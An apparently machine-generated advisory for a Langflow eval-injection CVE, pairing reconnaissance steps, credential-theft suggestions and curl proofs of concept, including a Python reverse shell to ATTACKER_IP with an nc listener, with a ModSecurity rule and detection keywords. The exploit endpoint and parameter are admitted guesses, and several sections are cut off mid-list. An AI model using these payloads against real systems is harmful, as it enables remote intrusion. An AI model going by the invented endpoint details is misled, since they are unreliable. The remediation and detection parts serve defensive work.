CVE-2026-122088 — IBM Langflow OSS (1.13.0) — CWE-95
IBM Langflow OSS 1.0.0 through 1.13.0 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of special elements used in an expression evaluation.
IBM Langflow OSS 1.0.0 through 1.13.0 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of special elements used in an expression evaluation.
🎯 What is this vulnerability?
CVE-2026-122088 is a critical Remote Code Execution (RCE) vulnerability in IBM Langflow OSS, affecting versions 1.0.0 through 1.13.0. The root cause is classified as CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection').
Technical Flaw Analysis
Langflow is a low-code platform for building LLM applications, allowing users to construct workflows by connecting nodes (e.g., LLMs, vector stores, tools). The vulnerability arises because the application dynamically evaluates user-supplied input within a Python execution context without sufficient sanitization or sandboxing.Specifically, the flaw occurs when:
1. An authenticated user (PR:L) submits data via an API endpoint or UI component that is intended for configuration or data processing.
2. The backend processes this input by passing it to a Python eval(), exec(), or similar dynamic code execution function.
3. The input is not properly neutralized, allowing the injection of arbitrary Python code.
The CVSS vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H confirms:
- Network Vector (AV:N): Exploitable remotely.
- Low Complexity (AC:L): No race conditions or complex timing required.
- Low Privileges (PR:L): Requires a valid user account (not necessarily admin, but any authenticated user).
- No User Interaction (UI:N): The attacker can trigger the exploit directly via API.
- High Impact (C:H/I:H/A:H): Full compromise of the server.
- Fingerprinting: Identify the target as running IBM Langflow. This can be done by: - Checking for default UI paths (e.g.,
- Version Enumeration: Determine if the version is between 1.0.0 and 1.13.0. This may be possible via: - API endpoints like
- Authentication: Obtain valid credentials. This could be via: - Default credentials (if not changed). - Credential stuffing or phishing. - Compromised low-privilege user account.
⚡ Attack Chain
1. Discovery & Reconnaissance
/, /api/v1/).
- Looking for specific headers or error messages containing "Langflow".
- Using Shodan/Censys queries for open ports (default 7860 or 8080) with Langflow signatures.
/api/v1/version (if exposed).
- UI version indicators in the footer or settings page.
- Error messages that leak version info.
2. Exploitation
Note: The exact endpoint and parameter name are not specified in the CVE description. The following is an illustrative example of how such a vulnerability is typically exploited in Python-based LLM workflow tools.Hypothesis: Langflow likely has an endpoint for testing or executing custom code snippets, or a component that allows dynamic expression evaluation for data transformation. A common vulnerable pattern in such tools is a "Code" node or a "Custom Function" input.
Illustrative PoC (curl):
Assume there is an API endpoint /api/v1/flows/{flow_id}/execute or a specific component input that accepts a Python expression. Let's assume a vulnerable parameter expression in a data transformation node.
# Step 1: Authenticate (Illustrative)
# Replace <TOKEN> with a valid JWT or API key for a low-privilege user
curl -X POST "http://<TARGET>:7860/api/v1/flows/12345/execute" \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"inputs": {
"node_1": {
"expression": "__import__(\"os\").system(\"id\")"
}
}
}'Alternative Payload (Reverse Shell):
If the environment allows outbound connections, a reverse shell can be established:
# Payload to inject into the vulnerable parameter
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])Curl Command for Reverse Shell:
curl -X POST "http://<TARGET>:7860/api/v1/flows/12345/execute" \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"inputs": {
"node_1": {
"expression": "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"])"
}
}
}'Listener on Attacker Machine:
nc -lvnp 44443. Post-Exploitation
Once code execution is achieved:root or a user with sudo privileges, escalate.🌍 Real World Impact
Practical Consequences:
🛡️ Remediation & Mitigation
1. Upgrade
2. Workarounds (If Immediate Upgrade is Not Possible)
Example ModSecurity Rule (Illustrative):
SecRule REQUEST_BODY|ARGS "@rx __import__|os\.system|subprocess|socket\.socket" \
"id:100001,phase:2,deny,status:403,msg:'Potential Python Code Injection Detected'"3. Detection
__import__, os.system, subprocess, socket.socket, eval(, exec(.
- Example Log Entry:POST /api/v1/flows/12345/execute HTTP/1.1
Content-Type: application/json
{"inputs": {"node_1": {"expression": "__import__(\"os\").system(\"id\")"}}}/bin/sh, nc, curl).⚠️ Urgency
Patching Priority: HIGH
Although not in CISA KEV, the low complexity and high impact make this a critical vulnerability. Any organization running Langflow 1.0.0-1.13.0 should treat this as an urgent patching priority. The risk is elevated if:
Immediate Actions:
1. Identify all instances of Langflow in the environment.
2. Verify versions.
3. Apply the patch or upgrade to the latest version.
4. Rotate any API keys or credentials that may have been exposed.
5. Review logs for signs of exploitation.
[🤖 CVE Professor AI Security Engine]
FOFA Query